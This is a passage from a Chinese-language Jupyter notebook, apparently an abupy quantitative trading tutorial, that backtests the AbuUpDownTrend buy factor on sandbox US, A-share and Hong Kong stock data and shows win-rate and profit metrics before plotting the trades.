show=False):\n", " # 今天收盘价为最近xd天内最低价格，且短线xd天的价格走势为下跌趋势\n", " return self.buy_tomorrow()\n", "\n", "AbuUpDownTrend的实现与AbuDownUpTrend的实现正好相反，但实际上AbuUpDownTrend的最终买入信号存在一定问题，下面先用AbuUpDownTrend做回测，如下：" ] }, { "cell_type": "code", "execution_count": 44, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:9\n", "买入后尚未卖出的交易数量:0\n", "胜率:55.5556%\n", "平均获利期望:9.9677%\n", "平均亏损期望:-3.9561%\n", "盈亏比:1.6703\n", "所有交易收益比例和:0.3401 \n", "所有交易总盈亏和:47643.9000 \n" ] } ], "source": [ "buy_factors = [{'class': AbuUpDownTrend}]\n", "# 美股沙盒数据回测\n", "abu_result_tuple_us, metrics = run_loo_back(us_choice_symbols, only_info=True)" ] }, { "cell_type": "code", "execution_count": 45, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:14\n", "买入后尚未卖出的交易数量:0\n", "胜率:71.4286%\n", "平均获利期望:9.7103%\n", "平均亏损期望:-14.0535%\n", "盈亏比:2.5651\n", "所有交易收益比例和:0.4089 \n", "所有交易总盈亏和:181897.5000 \n" ] } ], "source": [ "# A股沙盒数据回测\n", "abu_result_tuple_cn, metrics = run_loo_back(cn_choice_symbols, only_info=True)" ] }, { "cell_type": "code", "execution_count": 46, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:5\n", "买入后尚未卖出的交易数量:0\n", "胜率:80.0000%\n", "平均获利期望:3.0406%\n", "平均亏损期望:-7.9597%\n", "盈亏比:2.7703\n", "所有交易收益比例和:0.0420 \n", "所有交易总盈亏和:42355.0000 \n" ] } ], "source": [ "# 港股沙盒数据回测\n", "abu_result_tuple_hk, metrics = run_loo_back(hk_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "上面三个市场的回测结果表面上看似乎还不错，因为沙盒中的symbol数量不多，在abupy中有专门针对策略验证可行性的接口模块，在之后的章节会重点讲解示例。\n", "\n", "在教程‘第15节 量化交易和搜索引擎’中强调过对交易结果进行人工分析是最常用且有效的手段，即直接可视化交易的买入卖出点及走势，发现策略的问题以及改善方法，下面可视化港股市场回测的几笔交易单如下：" ] }, { "cell_type": "code", "execution_count": 47, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABI0AAALJCAYAAAA50dN0AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3X+U3XddJ/5n5k7zo21CMm0EpMXpDPGjS1rUfFEjlrYH\nV7DiCqw/MKt2obVdV1w42kVEoeDRFZbSVVvLNjQFl7ULK1tQaqAedttu1Ai7o24aVj8bMwy0CNp2\nJiRtml938v1j5k5n5s5kft575955PM7p6dx7P/d+3jPveyd3nvf1fr3XnD17NgAAAAAwWVerBwAA\nAADAyiM0AgAAAKCO0AgAAACAOkIjAAAAAOoIjQAAAACoIzQCAAAAoE53qwcAANAqRVFcneSOsiy3\nT7v+w0kOlmV567TrK0nen+RVGXsfdWtZlv9x/LZrkrwvyXlJnknyb8qy/Pz4bTcl+TdJqkm+mOT6\nsiyfKIriwiT3JPknGfsw757aOYui+N4kvzV+nhNJ3lSW5f9e7p8BAMBsVBoBAMzfTUm+Ocn2JC9N\n8paiKL6zKIq1ST6W5GfKsnxJkl9P8pEkKYrisiS/keTlZVlekWQoybvHH+/mJM+Mh1bfneTNRVG8\ndPy2/5zkrWVZfluS9yb5vSZ8fwAAE1QaAQCr3YVFUXw0ybckWZ/kZybfWBTFf0hyRZIfTvLaJLvL\nsjyTZGT8fj9ZluXni6J4QVmWp4uiWJOkL8mT4w9RyVj10caiKEaSnJ/k6KTbNhZF0T1+7q4kpybd\ntmX8640ZqzYCAGgalUYAwGp3SZL/MF7Rc1eSd41fv6YoijuSfFOSa8uyfCrJpUkenXTfx8bvn/HA\n6Lnj170vyb8fv/7vxi+XSb6a5Kok/278/v8+SW+Sv0/y5SQfLcvy/4zf9sYk/6koiseS3JnkTcv6\nXQMAzEFoBACsdofLsvzc+Nd/neQbxr/+hSQ/m+SWsixPjl/XleTspPuuyVifoiRJWZb/UJblC5Ls\nTPKhoii+uSiK70/yzzMWOD0/yR8m+fD4XX43yZ8keV6Sy5K8qiiKfz4ePn0wyVVlWV6S5CeTfLwo\niguW79sGADg3oREAsNqdnvT12YwFQUnycJK3JPlwURTnjV/35STfOOn4b0zyWFEUzymK4rW1K8uy\n/Msk/yfJ5Un+WZI/KsvyH8uyHM1YUHTN+KGvS3JXWZajZVl+NckfjN92ZZIv1Rpfl2X5yfFxfusy\n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\n3dZ5AwDQETTOBmg8lUYdbvKWpEnyv